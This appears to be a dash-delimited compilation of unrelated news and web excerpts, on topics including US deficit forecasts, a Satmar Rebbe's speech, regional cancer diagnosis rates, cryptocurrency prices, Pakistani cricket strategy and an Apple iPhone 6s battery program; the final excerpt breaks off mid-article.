-Wednesday, August 26, 2009  The United States Office of Management and Budget (OMB) is predicting that the national debt of the US will double in 10 years. Meanwhile, the Congressional Budget Office (CBO) has raised its forecast of the 10-year cumulative budget deficit to US$7.137 trillion, due to increased spending. Both offices released reports on Tuesday.  "Over all, it underscores the dire fiscal situation that we inherited and the need for serious steps to put our nation back on a sustainable fiscal path," wrote Peter R. Orszag, President Barack Obama's budget director.  "I know that there will be some who say this report proves that we cannot afford health reform. I think that has it backward," Orszag said in a conference call.  The CBO report predicts that public debt will exceed 61% of gross domestic product (GDP) by the end of 2010 while continuing to rise to 68% of GDP by the end of 2019.  "If anyone had any doubts that this burden on future generations is unsustainable, they're gone," said Senator Mitch McConnell, the Senate minority leader.  "Today's budget numbers send a clear signal that the time for putting off tough choices is over and the time to act is now," said the chairman of the Senate Budget Committee, Kent Conrad.  "While the U.S. health care system does need to be reformed, we cannot ignore the fiscal realities of our situation," said Senator Judd Gregg who is also on the Senate Budget Committee. "We must proceed with extreme caution before putting in place a huge and costly new program that will threaten our economy and the future of our children."  "The administration has always said that you have to get deficits under 3 percent of GDP to be safe. They now admit that they will not in the next 10 years," commented Douglas Holtz-Eakin, a former director of the CBO. "I'm stunned at how hard they have worked to bury this."  Sources
-Kiryas Joel, NY - The Satmar Rebbe, Rabbi Aron Teitelbaum, spoke out today in Kiryas Joel against several ongoing controversies swirling around the Charedi draft, including Charedim serving in the army and near-daily protests that continue to shut down the streets of Jerusalem frequently.  The Satmar Rebbe’s words came Monday morning after Shacharis and he noted that while Satmar forbids military service, it has never been the Satmar way for Chasidim to simply not register for the army. Instead, for decades Charedim have followed an established protocol that had them exempted from the army when they came to register.  “This was done during the time of the Divrei Yoel,” said Rabbi Teitelbaum, referring to Rabbi Joel Teitelbaum, known to be a fierce critic of Israel and its military. “Despite the Divrei Yoel’s opposition to the State of Israel, his talmidim always went to register for the army. Reb Yoel never saw this as an act of zealotry or as expressing his approval of Zionism.”  Listen below to the full speech  Advertisement:  The Rabbi noted that, the practice still continues today, and there is an organization that works closely with Charedim to help them receive their military exemption once they register for the army.  But a new group that has broken with that long standing tradition and are instead encouraging Charedim to shut down city streets with regular protests. the Rabbi said.  “These people are not zealots,” said Rabbi Teitelbaum. “They are newcomers who have no understanding of how to fight against the Zionists. We have waged war against the Zionists for more than 60 years but have never seen this kind of lawlessness and chaos. The citizens of Jerusalem are living terribly difficult lives because of these people, and there is no one taking responsibility and authorizing this type of disruptive behavior.”  Demonstrators have continued to wreak havoc in Jerusalem in recent weeks, with protesters attempting to disrupt the Jerusalem marathon, a large event that drew 25,000 runners and thousands of spectators. Police also clashed with Charedim who hung IDF soldiers in effigy on Purim as previously reported on VIN News (http://bit.ly/2noHO4o).  Ultra-Orthodox Jewish men clash with Israeli police officers during a protest against the arrest of a Jewish seminary students who failed to comply with a recruitment order, near the army recruiting office in Jerusalem, March 27, 2017. Photo by Yonatan Sindel/Flash90  “People need to go to learn and to work, and entire roadways are impassable because of the protests,” said Rabbi Teitelbaum. “A woman who is giving birth cannot get to the hospital. These actions are irresponsible and cause every resident of Jerusalem to suffer. There is no excuse for this type of behavior.”  Problems that affect the Charedi community are not unique to Israel, explained the Satmar Rebbe, noting that the recent issues that have arisen in regard to metzitzah b’peh have created enormous tension in New York.  “Yet it has never occurred to anyone to shut down the streets of Williamsburg in protest,” said Rabbi Teitelbaum. “It would be easy to create chaos by shutting down the streets in New York City but no one would ever do it, yet in Jerusalem they do. Who is allowing this? It is unacceptable.”  The Satmar Rebbe also noted that he is very troubled by a recent increase in Charedi enrollment in the army. He reiterated Satmar’s long standing opposition to military service and called on Charedi rabbonim to speak out strongly against joining the IDF.  Faced with these issues, Rabbi Teitelbaum called for Monday to be a day of prayer and urged his followers to pray for the draft to be annulled and for the violence and disruption to end, but made it clear that he in no way supported those who have been promoting disruptive protests.  “Our prayers today should not in any way be considered as an approval of the actions of these misguided zealots and their divisive riots,” said Rabbi Teitelbau. “Violence is not our way.”
-Thousands more people could be saved from cancer if some areas were quicker at diagnosing patients - and Kent and Medway are in the bottom 25% when it comes to speed.  An investigation by Cancer Research UK looked at data across England in 2012 and 2013, and whether various strands of the disease were diagnosed early – at stage one or two – or late, at stage three or four.  Kent and Medway came in 21st out of 25 regions across the whole country. Almost 48% of cancer patients were diagnosed late. That is equivalent to 5,506 people.  A cancer patient is being checked over in hospital. iStock image.  According to the cancer charity, if Kent and Medway has diagnosis rates that matched the South West - which is the best in the country - 772 of those people would have caught the disease and started treatment earlier.  The difference between a late and early diagnosis is frequently the difference between life and death, and if all regions in the country matched up with Bath, Gloucestershire, Swindon and Wiltshire 20,000 more people could benefit from a greater chance of survival.  Data graphic, showing the best and worst places for diagnosing cancer patients.  Sara Hiom, director of early diagnosis at Cancer Research UK, said: “Wherever you live, an early diagnosis of cancer will give you more treatment options and a better chance of survival. So it’s unacceptable to see such variation across England.  “It’s not easy to make sure that all cancer patients are diagnosed as early as possible, but it’s vitally important.”  Dr Jodie Moffat at Cancer Research UK, added: “We don’t know for sure why there’s such variation across England and it’s likely that a lot of factors are coming into play. These might include patients not going to their doctor as early as they could with possible cancer symptoms, and GPs sometimes failing to suspect cancer or not referring patients for diagnostic tests promptly.”  Doctor checks for signs of a brain tumour. iStock image/  Councillor Teresa Murray, health spokeswoman for the Medway Labour group said: “Health inequalities data has long shown that Medway is behind the south east in particular and the rest of the UK more widely when it comes to the prevalence of heart disease and cancer so this new research is really disappointing because it shows that the improvements we need are not being made fast enough.  “This is also a red warning light for the potential damage that forthcoming cuts to public health will cause. Timely cancer diagnosis depends on people being able to recognise warning signs in their own body and before that get the crucial support they need to prevent the illness in the first place by making lifestyle changes such as stopping smoking or improved diet with increased exercise.  Cllr Teresa Murray  “People in Medway deserve better as cancer treatment improves I want those I represent to feel reassured they will get the right diagnosis and access to treatment before it’s too late. I will ask for this item to be added to the work programme for the Medway Health and Adults scrutiny committee so that we can understand exactly what’s going wrong in Medway.”  Medway’s head of health Cllr David Brake, Kent County Council, Medway Maritime Hospital and the Medway CCG have been approached for a comment.
-SEN. FERDINAND Marcos Jr.’s camp said they would not delay the proclamation of presumptive President-elect Rodrigo Duterte but indicated they were preparing for the long haul to contest the vice presidential vote count during the official canvassing of votes in Congress.  Jose Amorado, a lawyer for Marcos, said the senator was counting on being allowed to conduct a system audit of the central and transparency servers of the Commission on Elections before the official canvassing starts on Wednesday.  ADVERTISEMENT  Marcos is contesting the results of the unfinished unofficial quick count of the vice presidential votes, which showed Camarines Sur Rep. Leni Robredo leading him by 219,127 votes.  “We remain hopeful the Comelec will grant our demand to open the automated election system to audit because I am sure the Comelec would want to uncover the truth in the unauthorized script change in the transparency server,” Amorado said in a statement yesterday.  He was referring to the script change introduced by system provider Smartmatic during the transmission of votes on the night of May 9.  The Marcos camp had speculatively linked the script change to Robredo overtaking him in the quick count of the Parish Pastoral Council for Responsible Voting (PPCRV) and media outlets based on the mirror transparency servers.  According to Smartmatic’s explanation to Comelec, they changed the script of the transparency server to correct the spelling of candidates’ names with the letter “ñ” since the character came out as “?” in the system.  Marcos’ chief counsel George Garcia Jr. raised the possibility they would prolong the official canvass even as he said they would not delay Duterte’s proclamation as president-elect.  He said Marcos would never be a “hindrance to a speedy canvass and immediate proclamation of our new president.” With a report from Jeannette I. Andrade  RELATED VIDEOS  ADVERTISEMENT  Read Next  LATEST STORIES  MOST READ
-How do you get rid of fruit flies?  Recently, I've been suffering from a fruit fly invasion of impressive magnitude. And despite a few attempts at ridding myself of these flies, I haven't been able to get things under control. I'll swat and kill as many flies as I can see, but still the next time I turn around there are even more flies gently fluttering about my kitchen, in what I can only assume is some sort of fruit fly taunting ritual. How are there more? I've even begun to fear that these are possibly zombie fruit flies, returned from the dead to haunt my dreams and attack my organic bananas. I'm scared. Okay, I'm not really scared, but it is driving me a little crazy.  That's why I was so pleased to see this new TreeHugger Video Tip sent in from Jonathan over at Chelsea Green. If you don't have them or you already know how to kill fruit flies, this tip may not be new to you, but I wanted to share it for those that may be unaware. In the video, he shares a simple method he uses to rid himself of pesky fruit flies. More on his method and our other TreeHugger TIps after the jump.To kill fruit flies, Johnathan uses a simple mixture of some common household ingredients.  TreeHugger Tip: How-To Kill Fruit Flies  1. Combine the following in a small cup or dish.  1 part water  1 part Apple Cider Vinegar  2 or 3 drops of dish soap  2. Place cup and mixture near your fruit.3. Head outside for a nice bike ride or walk4. Return later to find your flies resting peacefully dead at the bottom of the cup.5. Show the cup to the younger fruit flies as a lesson to think twice before messing with you.  Joking aside, what's good about this is that it isn't requiring any toxic chemicals or some plastic mass-produced contraption designed to catch the flies. It's a good solution with a limited impact compared to other options.  Jonathan says the water is just used so you don't need as much cider vinegar and the way it works is that the scent of the cider attracts them and the small amount of soap helps soften surface tension of the water so the flies sink.  I think I'll give this method a try!  Do you have any tips like this? If so, participate in our TreeHugger Tips series by sending in your own video explaining what it is you do that is good for the environment. And if you're new to this series, be sure to view all of our previous TreeHugger Video Tips.  More on How to Green Your Kitchen  More on Getting Rid of Insects  Eco-Tip: How to Get Rid of Insects? Bats!  Natural Mosquito Repellents  Bats Helps Eat Bugs on Shade-Grown Organic Coffee Farm
-Markets Weekly is a weekly column analyzing price movements in the global blockchain token markets. This edition looks at the week from 3rd through 9th December.  The price of ether extended recent losses this week, falling to its lowest in more than nine months.  Over the seven-day period, the blockchain token declined to as little as $5.98 on 6th December, its lowest price since late February. This figure, which beat the previous nine-month low set the previous day, represented a 22.9% decline from the cryptocurrency’s opening price of $7.76 on 3rd December.  The continued struggles faced by the digital currency are now translating into frustration for traders and market influencers.  “The novelty is wearing off,” said Tim Enneking, chairman of cryptocurrency hedge fund EAM.  Enneking argued that ether, despite its original hype, is simply behaving as most blockchain tokens historically have, riding high on a “flavor of the month effect” before tapering off.  Enneking told CoinDesk:  “The major ones are greeted with acclaim, skyrocket and then plunge to earth. Look at Zcash and, further back, Litecoin. All the same thing.”  Fading star  That the price of the protocol’s token is sputtering is perhaps not surprising. As a technology, ethereum has run into numerous challenges of late, undergoing several hard forks and one network split in 2016.  Most recently, ethereum underwent a hard fork (a technical change during which all of its users have to opt in to a new version of the blockchain) in an attempt to make it easier for developers to remove the after-effects of an attack.  Then, only a few days later, the platform suffered a mini fork when two of its clients, Geth and Parity, failed to implement the latest hard fork the same way.  Petar Zivkovski, director of operations for leveraged bitcoin trading platform Whaleclub, summed the platform’s situation up by calling its growth “lackluster”.  “Recent events [have] majorly undermined its attractiveness to new money and new developers,” he told CoinDesk.  Amid the challenges, ether prices have been experiencing “a long, downward trend,” said algorithmic trader Jacob Eliosoff.  Yet, he stressed that the recent dip below $6 was only temporary, as ether prices surpassed $8 on 7th December and reached a weekly high of $8.86 the following day, CoinMarketCap data shows.  Bitcoin remains buoyant  But while ether has recovered over the last few days, bitcoin continually exceeded $770 during the week, putting the digital currency firmly within reach of surpassing its annual high of $781.31.  At the time of reporting, bitcoin prices had reached as much as $772.47 in the past seven days, according to BPI figures.  Both Zivkovski and Enneking credited China and India with helping fuel these price gains – the former nation provoking the concern of its citizens by imposing capital controls and repeatedly taking steps to devalue the yuan.  While such macroeconomic events helped drive bitcoin prices higher, the digital currency also benefited from growing enthusiasm, Zivkovski told CoinDesk.  There has been “a spike in interest in bitcoin around the world and an unprecedented transfer of wealth from altcoins to bitcoin”, he said, adding:  “This indicates that investors in cryptocurrency do not feel they’ve been rewarded well for the risk they’ve taken investing in altcoins over the past few years and are now looking for a less risky (albeit still risky) alternative.”  In spite of the digital currency’s resilience, Eliosoff provided a cautionary note, emphasizing that he is unsure who exactly is purchasing bitcoin at its recent values.  “My guess is the usual, Chinese investors seeking store-of-value, but if there’s data to support it their Indian counterparts may be playing a role too,” he told CoinDesk.  Bullish sentiment  Even though bitcoin has been repeatedly nearing its annual high, there is evidence that traders are rather bullish about the digital currency’s future prospects.  The market has been more than 80% long in the 30-day, 60-day and 90-day periods through 9th December, Whaleclub data reveals. The market has been particularly bullish over the last week, as it was 88% long during the seven days through 9th December.  “In aggregate, the average holding time for long positions has almost tripled in the past three months alone,” said Zivkovski.  He said:  “This indicates that traders see little downside and have a longer bullish time horizon with respect to bitcoin.”  He added that, while there are bearish wagers, these bets are more rare. “We do see large shorts come in occasionally, but they are held almost 25 times less time than longs.”  As bitcoin continues to obtain greater adoption, this growing acceptance could combine with heavily bullish sentiment to fuel some impressive gains.  Wilting flowers image via Shutterstock
-When a fuccboi takes off his New Era snapback hat and settles into bed for a night’s rest, his thoughts go so many places. He wonders when the next Supreme will drop and if he’ll be ready. He wonders why Four Pins had to end. He wonders if his look is starting to skew too health goth, or if he’s swirled it all with the right amount of Biebs. Finally, as the fuccboi drifts off to sleep, his imagination takes him to the happiest place he can ever dream of: Fuccboi Heaven.  Today I went to that Fuccboi Heaven, otherwise known as Madison Square Garden, where Kanye West debuted his collection for Yeezy Season 3 and played all the songs from his yet-to-be-dropped album. A blessed event, indeed. And I stood on the floor among the fuccbois in their hypebeast garments, Supreme hats, perfectly positioned knit beanies, Thrasher hoodies, and limited-edition this and thats. I swayed and bopped with them as they listened to Kanye West’s The Life of Pablo, as they praised his genius, brilliance, and fire tracks (not really the clothes). I got the contact high of the fuccboiphoria they felt from being among the first 20,000 people (by Yeezy’s estimate) to hear TLOP and buy merch that nobody else can get — the highest of highs.  I know what this heaven looks like. Let me describe it to you, though I may not have to, for in Fuccboi Heaven there is a crystal-clear livestream that never has to buffer, so you probably saw it already.  In Fuccboi Heaven, every Kardashian-Jenner, from Kris and Caitlyn down to North, is there to greet you at the pearly gates, wearing kustom white Balmain ensembles that Olivier Rousteing lovingly designed for them. (He’s there, too. In heaven, fuccbois can finally get some Balmain.) Archangel Naomi Campbell is there. As is Lamar Odom, because what heaven would ever leave Lamar Odom out in the cold. And Donda, she’s there, too, as an angel riding a Pegasus in video-game form. This is not something we question, because who questions miracles.  Welcome to Fuccboi Heaven. Let us show you to your room. Photo: Kevin Mazur/Getty Images  In Fuccboi Heaven, Kanye is god — all fuccbois were made in his image, after all. It is because of Kanye they can wear tight jeans. And, yes, while Carine Roitfeld and Anna Wintour and Jaden Smith and Waris all sit in the stands, it is the fuccboi who gets to be closest to Yeezus at his altar, the DJ booth. It is the fuccboi who gets to stand in the orbit closest to YeezSun, with A$AP Rocky and Jay Z and 2 Chainz and Tyga and a lot of blunts. While the models might be the most devoted, fastidiously following all the rules Yeezy has set, it is the fuccboi, the one who waited three hours in line to cop some Yeezy Boosts, who gets to stand close enough to touch the hem of Kanye’s garment as he passes through the crowd.  In Fuccboi Heaven, there is dancing, even though the music is almost too loud to decipher. It’s the cool type of dancing, where nobody sweats or messes up their perfect Macklemore undershave. They just bob along to Kanye’s songs, and they already know all the words.  There is also the word of Kanye, who speaks for what feels like hours and hours, mostly about Kanye. Who rallies his children, the fuccbois, with talk of … I’m still not sure what. But when he calls, his fuccbois respond. When he asks them to cheer, they cheer. And when he asks them to chant “Fuck Nike,” they try. Yeezus knows they try. But when they look down at their limited-edition Jordans they spent hours on eBay to win, they can only remain silent. Even for Father Kanye, even for a spot in heaven, a fuccboi could never take the name of Nike in vain.
-Update 11:25 a.m. Sunday: Those claiming to be demonstrators on social media say they will gather at 2 p.m. Sunday at Portland International Airport to continue protesting President Trump's ban. Social media reports include a Facebook events page.  Update 8:45 a.m. Sunday: A Port of Portland spokesman, Steve Johnson, said port officials are unaware of any passengers who were detained at Portland International Airport Saturday as part of the president's executive order.  Dozens of demonstrators marched Saturday afternoon in and around the main terminal at Portland International Airport to protest President Donald Trump's order barring all refugees from entering the United States for four months.  They chanted: "Say it loud, say it clear, refugees are welcome here" and "No ban, no wall, America is for us all." Many carried signs, some read: "Detain Trump," "Don't Normalize Hate" and "Let them in."  Lucia Martinez organized the march a few hours before after hearing from friends in New York that people were being detained at airports across the country. She sent out a tweet about the march on Saturday afternoon.  The protest briefly shut down the MAX line to the airport, but TriMet said it was running again with delays.  We are broadcasting live from PDX where approximately 50 people are demonstrating in support of immigrants. Posted by The Oregonian on Saturday, January 28, 2017  All operations at the airport are normal, Port of Portland spokesman Steve Johnson said Saturday evening.  Several police officers watched the peaceful demonstration but didn't intervene as people marched down stairs and by ticket gates inside and on sidewalks by cars dropping off and picking up travelers outside. The protest began with about two dozen people but swelled to around 100 at one point.  As they marched, several travelers at the airport joined them, marching alongside the crowd with their suitcases in tow, Martinez said.  On her way home, she ran into a man who was an immigrant from Iraq, she said. He said his friend, also an Iraq native, went to visit Saudi Arabia. Now, he told her, he was afraid he might not see him again.  "It's precisely for people like that that we speak up," Martinez said. "So they don't give up hope and they know they are wanted here."  Trump's order immediately suspended a program that last year resettled to the U.S. roughly 85,000 people displaced by war, political oppression, hunger and religious prejudice.  He indefinitely blocked all those fleeing Syria, where a civil war has displaced millions of people, and imposed a 90-day ban on entry to the U.S. from seven Muslim majority nations: Iran, Iraq, Libya, Somalia, Sudan, Syria and Yemen.  Thousands of protesters also converged at John F. Kennedy Airport in New York where 12 refugees were detained Saturday under the order.  Later Saturday evening, a federal judge blocked deportations nationwide of those detained on entry to the country.  -- Mike Zacchino and Samantha Matsumoto of The Oregonian/OregonLive and wire reports
-NEW YORK—Insisting that if the young street musician doesn’t apply himself more, he’ll never work his way up to a good busking spot in Times Square, local mother Rita Skolnick reportedly told her son Wednesday to “go upstairs right now” and get to practicing his buckets. “When you begged me to get you those buckets, you promised you’d practice an hour every day, and now they just sit there collecting dust,” Skolnick shouted at her son Tyler, 15, pointing at a pair of white plastic buckets in the corner of his room. “You should be setting aside a solid block of time every afternoon to sit down and practice your buckets. That’s the only way you’re going to get better.” Sources confirmed that half an hour later, Skolnick again yelled at her son when she went into his room and found him sitting on one of his buckets and playing video games.  Advertisement
-Sean Payton continues to beat that drum.  After insisting all last season that he never planned to leave New Orleans, the longtime Saints coach reiterated his commitment to the team and city this week.  "The grass isn't always greener at some spots. I've heard that talk about, you're approaching 10 years, for me it's nine, 10 for our program," Payton said, per The Times-Picayune. "And yet, it's different now. Players transition much quicker, and so, I don't feel like I'm sitting in front of the same team that maybe that you had five or six years ago."  Said Payton: "I like this locker room, I like the way we finish. And I love New Orleans. So, there was that period of, 'Hey, this is where I see myself finishing.'"  Whether or not you buy it, Payton came on strong about why the Saints remain a better fit for his services than elsewhere.  "Aside from the great things in our city, I'd also say our structure," Payton said of the franchise. "Ownership, front office, general manager, head coach."  As Gregg Rosenthal mentioned on the Around the NFL Podcast this week, team structure, ownership and franchise stability are more important than ever in the NFL. We previously pegged Payton as a candidate to test the coaching waters, but his actions speak louder: He's not giving up on the Saints.
-NEW DELHI: Acting on a tip-off given by a Military Intelligence Unit of J&K, the Andhra Pradesh Police on Wednesday unearthed three illegal VOIP (Voice Over Internet Protocol) exchanges in Vijayawada area and arrested seven people.Three "sim boxes", more than 230 sim cards, laptops, desktop computers and other peripherals have been seized. More arrests are likely.According to police, the facilities were being exploited by intelligence operatives from Pakistan for making calls to security personnel in J&K to acquire sensitive information from them by posing as senior army officials."Earlier this month, an intelligence pertaining to suspicious illegal VoIP exchanges being run in Gunadala area of Vijayawada was shared with us. It was learnt that these exchanges enabled callers from other countries call an Indian numbers by hiding their identity and showing some Indian numbers to their receivers instead," said a senior cop.According to cops, the calls were made using VoIP technology through the internet and converted into regular telecom calls (using a modem like device called sim box and illegally procured SIM cards). They were then routed to the desired Indian number in the guise of a legitimate telecom call from another Indian number.This potent modus operandi was adapted to make the security personnel believe that the caller is an Indian.The inputs were further developed by Andhra Pradesh Police with assistance from local TERM Cells.The state police could soon detect hundreds of illegal SIM cards being used, locate the illegal facilities and identify the individuals involved.They further could identify and locate the kingpin who was running these exchanges along with others established even outside the state. Suitable leads were obtained and multiple simultaneous raids were planned in Vijayawada."It is belived that these facilities were also used for monetary fraudulent activities. Apart from being a security concern such exchanges cause huge financial loss to the exchequer by providing an illegal alternative to other recognised means of making international calls to India," the officer added.Earlier this year, illegal VoIP exchanges were unearthed in UP, MP, Telangana, Maharashtra and Odisha. These exchanges were being exploited by foreign spy agencies to target security personnel apart from being used by various fraudsters.
-NEW DELHI: The BJP is set to retain power in Madhya Pradesh and Chhattisgarh and unseat the Congress in Rajasthan. But in Delhi the party is locked in a neck-and-neck race with the Congress, which could end up in a hung assembly, according to a Times Now-CVoter poll.If the projections hold, they would come as a massive psychological boost to Narendra Modi and the BJP just months ahead of the Lok Sabaha elections of 2014. They would also mean an impressive debut for the Arvind Kejriwal-led Aam Aadmi Party, which is estimated to win seven of Delhi’s 70 assembly seats.According to the poll, which surveyed close to 39,000 people across the four states, the BJP could end up with 30 seats in Delhi, six short of a majority. With the Congress estimated to win 29 and AAP seven, that could well end in a situation where no government can be formed as AAP is unlikely to support either Congress or BJP.In Madhya Pradesh, the poll suggests the BJP is poised to win quite comfortably despite the BJP having been in power for a decade. It projects 130 seats for the Shivraj Chauhan-led party in the 230-member assembly, leaving the Congress a distant second at 84.In Rajasthan too, the BJP is predicted to gain a decisive verdict, picking up 118 seats in the 200-member House. The Congress is estimated to win a mere 64 seats, with BSP and others winning the remaining 18.In Chhattisgarh, the BJP seems to be somewhat less securely placed but with the poll predicting it will win 47 of the 90 seats, it could win a majority though a smaller one than in 2008.The BSP, the poll suggests, will make its presence felt in each of the four state except Chhattisgarh, but in each case it will be only a marginal player, winning two seats in the national capital, three in Rajasthan and five in Madhya Pradesh.
-They seem to be hung up on what worked for the team in the 1992 World Cup, not realising that the rest of the world has moved past those strategies  Fawad Alam, a batsman who effectively rotates the strike, is not in the World Cup squad © AFP  England's success in the 1966 World Cup went against everything English football had stood for till then. In the '50s, the stars of the game had been big burly centre- forwards and tricky wingers who played a major role in making football the most popular game in the country.  And yet, a dozen years on, for Sir Stanley Matthews' finest hour, England won the World Cup with a formation that would become the norm in the land: the 4-4-2 with side-midfielders instead of the old-fashioned wing-forwards. That team came to be known as "the wingless wonders". England won because they decided to innovate and move with the times.  But the irony is that in the following half-century they have continued indulging in the unhealthy obsession of that 4-4-2 formation. What was once a great innovation has been stuck to religiously even as the rest of the world has moved on.  I have been reminded of this repeatedly over the past fortnight or so as the Pakistani team begin their long journey to the World Cup with a plethora of corporate events, invitational dinners and press conferences. Every answer to a question, every explained strategy, every nod towards inspiration references 1992. Pakistan's greatest hour hangs above each of the country's World Cup teams like Damocles' sword, with that achievement getting bigger with each passing year. Every answer seems to be along the lines of "We will do as we did in 1992" - a strategy most often evoked by the team management, several of whom were part of the squad at the time.  But much like England and its football, the world has passed Pakistan by while they continue to stick with what worked in 1992.  One of the things repeatedly stated over the past few days is that the openers will need to provide a "stable platform". The strategy still seems to be to consolidate for 35 overs before going berserk. Few players better encapsulate the problems with an out-of-date mentality quite like Pakistan's first-choice openers - Ahmed Shehzad and Mohammad Hafeez.  Pakistan's problem, at least with these two, isn't their inability to stay at the crease or to hit boundaries - they do that at pretty much the going rate in international cricket. But if your boundary runs are still just south of half your batting average and your stay at the crease isn't that dissimilar to the rest, why are you so much worse than the others?  Openers' runs in boundaries in ODIs Batsman Runs in boundaries per innings Average Strike rate Ball per innings Ahmed Shehzad 17.4 34.8 72.0 47.5 Mohammad Hafeez 14.5 30.9 73.1 39.9 Tillakaratne Dilshan 15.3 38.6 85.7 38.5 David Warner 16.5 33.3 85.1 39.1 Quinton de Kock 21.5 43.6 88.4 47.8 Shane Watson 18.4 40.6 89.8 38.3 Moeen Ali 18.9 34.1 109.7 31.1 Shikhar Dhawan 23.0 45.5 90.9 46.9 Rohit Sharma 14.2 37.9 81.0 38.6 Chris Gayle 21.0 37.3 84.4 41.4 Hashim Amla 20.8 53.1 88.3 56.0  The problem for Pakistan is the same as it was four years ago, and will remain the same four years from now - dot balls. The complete ignorance of the need to rotate strike, or the perils of overlooking those capable of it (see Alam, Fawad), is one of the least talked-about problems in cricket circles in the country.  Younis Khan and Misbah-ul-Haq will, rightfully, get a lot of blame when they launch their tuk-tuk in the middle overs, but as has been shown on this site before, Pakistan's middle overs are still better off in this regard than the start of their innings.  The problems not only start at the very top but are exacerbated by the personnel there. It is something that Salman Butt, Imran Farhat, Nasir Jamshed and every other opener in Pakistan has been guilty of. In the age when 50 and 90 (average of 50, strike rate of 90) is the yardstick to define world-class batsmen, Pakistan haven't had a single opener since Saeed Anwar who has even come close to getting to 40 and 80, let alone the higher standard of the modern game.  In trying to create clones of Anwar, everyone seems to have forgotten a basic tenet that made him great - his ability to keep the scoreboard ticking at will. Anwar was doing 40 and 80 in an era when only the very best came close to that mark. Yet all those who have followed him have failed to reach his standards even as conditions and rules have become easier.  Pakistan was one of the first teams to follow the Sri Lanka-led trend of attacking from the top. Anwar was one of the genuine greats of the game in the '90s, and everyone but the Pakistanis has learnt from him. And his aren't the only lessons Pakistan have forgotten.  Javed Miandad was one of the first batsmen to have milked the middle overs, and Pakistan, in the '80s and '90s, was a team filled with bowling allrounders who could make it rain in the death overs. Everything that once made Pakistan great is no longer there, and there is very little chance that this will change.  The recently concluded Pentangular Cup provided a window to the cures that can fix Pakistan right now. The only opener who seemed capable of rotating the strike was Baluchistan Warriors' Sami Aslam (although he is already being labelled as someone who is unable to hit boundaries), and the only bowling allrounder to succeed with the bat was Sindh's Anwar Ali (192 runs at a strike rate of 126.31), whose quality has been pretty obvious to those who have watched him over the past 18 months in international cricket.  But Pakistan need three good matches in Australia and New Zealand, three good knockout games, and all will be forgotten. On such fine margins are the legacies of entire generations based.  Hassan Cheema is a sports journalist, writer and commentator, and co-hosts the online cricket show Pace is Pace Yaar. @mediagag  © ESPN Sports Media Ltd.
-Sanford Cap-toe Derby Dress Shoe is rated 4.2 out of 5 by 168 .  Rated 3 out of 5 by DJR from Satisfied but not completely Great looking shoe but there were some slight defects in the stitching of the sole of the shoe. Looks like a factory second. The right shoe is uncomfortable over the knuckle of the ball of my foot. By the day's end it is painful. Hope it will loosen up as it breaks in. Don't get me wrong, I do not have buyers remorse and have bought several other AE without any issues.  Rated 4 out of 5 by Sugardaddy from Great shoe in walnut This is a great shoe especially in walnut color. The look and feel is quite well. Unfortunately i bought the wrong shoe width but loved the shoe so much that i forgot about the return policy and kept wearing them. Buying it in the clearance made me feel i got my value for money.  Rated 5 out of 5 by Anonymous from Very comfortable, you can never go wrong with Allen Edmonds Shoes are comfortable right out the box. I went to a wide shoe and it made a huge difference. I have tried other brands and always come back to Allen Edmonds. They are simply made well and are worth every penny.
-EU leaders agreed last month to take in 60,000 people over the next two years but on a voluntary basis after many member states objected strongly to proposed mandatory quotas.  The figures comprise 40,000 Syrian and Eritrean asylum-seekers already in Europe who will be redistributed across the 28-nation bloc plus another 20,000 Syrians in camps overseas.  French Interior Minister Bernard Cazeneuve and his German counterpart Thomas De Maiziere announced that France would take 9,100 and Germany 12,100.  The two countries had a duty "to offer a dignified welcome to those with refugee status," Cazeneuve said.  At the same time, the countries had set conditions to ensure "that what we are doing out of solidarity (with other EU states) will be sustainable."  He said it was essential that reception points for migrants be beefed up to ensure that genuine asylum seekers are clearly separated out from economic migrants who will be returned home.  Disagreements remain among EU nations over how to share responsibility for the refugees and asylum seekers. Spain and Austria did not want to announce on Thursday what their contribution to the effort would be, European sources said.  De Maiziere told reporters in Luxembourg "there are some countries which have problems with the concept and are afraid it will only encourage" more migrants.  Italy, Greece and Malta have borne the brunt of the migrant influx and Italian Prime Minister Matteo Renzi has repeatedly urged his European Union peers to do much more to ease the burden.  At the late June leaders summit, Renzi was said to have lashed out at his colleagues after mandatory quotas were rejected, reportedly saying that "If that is your idea of Europe, you can keep it!"  EU president Donald Tusk, a former Polish premier whose country opposed the mandatory quota system, said after the summit that member states would submit their voluntary offers by mid-July.  More than 140,000 migrants have crossed the Mediterranean so far this year, most of them landing in Italy, Greece and Malta.  Thousands more have crossed by land, many reaching Hungary which said last month it would build a four-metre (13-foot) high fence along its border with Serbia to keep them out.
-SPICA may be parting ways for now, but that doesn’t mean it has to be forever.  The members recently uploaded a handwritten letter on each of their Instagram accounts, talking about supposedly disbanding and leaving their current agency, CJ E&M.  It started off by apologizing for how shocked everyone must have been when they suddenly about SPICA’s reported disbandment over the news, and explained that they wanted to clarify how this decision was made.  “After much consideration about the direction we wanted to go from now on, we decided to focus on our individual activities for now and were discussing with our current agency about cancelling our contracts,” the singers revealed. “As for the current situation, we can’t tell you exactly when SPICA will be together as five again, but we wanted to tell that this is absolutely! not the end [for us].”  The girl group asked that everyone supports all the members in their respective activities, and reiterated that the memories they made with their fans made them extremely happy and inexplicably thankful. Promising fans that the group will always be there for them, whether they’re together or apart, the group signed off one more time as SPICA.  Hopefully, they will come together as five again in the future!  *A previous version of this article incorrectly stated that Kim Bohyung wrote this letter on her own.
-Apple launched a repair program a couple of weeks ago for iPhone 6s owners who have been experiencing unexpected shutdown of their devices due to battery fault. Not everyone with an iPhone 6s is having issues and Apple have now created a web tool were you can simply add your device serial number and see if it’s affected. If you are eligible then you will receive a free battery replacement.  To find out head on over to the website for Apple iPhone 6s program. To find your serial number go to Settings > General > About. “If your iPhone 6s has any damage such as a cracked screen which impairs the replacement of the battery, that issue will need to be resolved prior to the battery replacement. In some cases, there may be a cost associated with the repair.”  To prepare your iPhone 6s for the battery replacement process, follow the steps below:
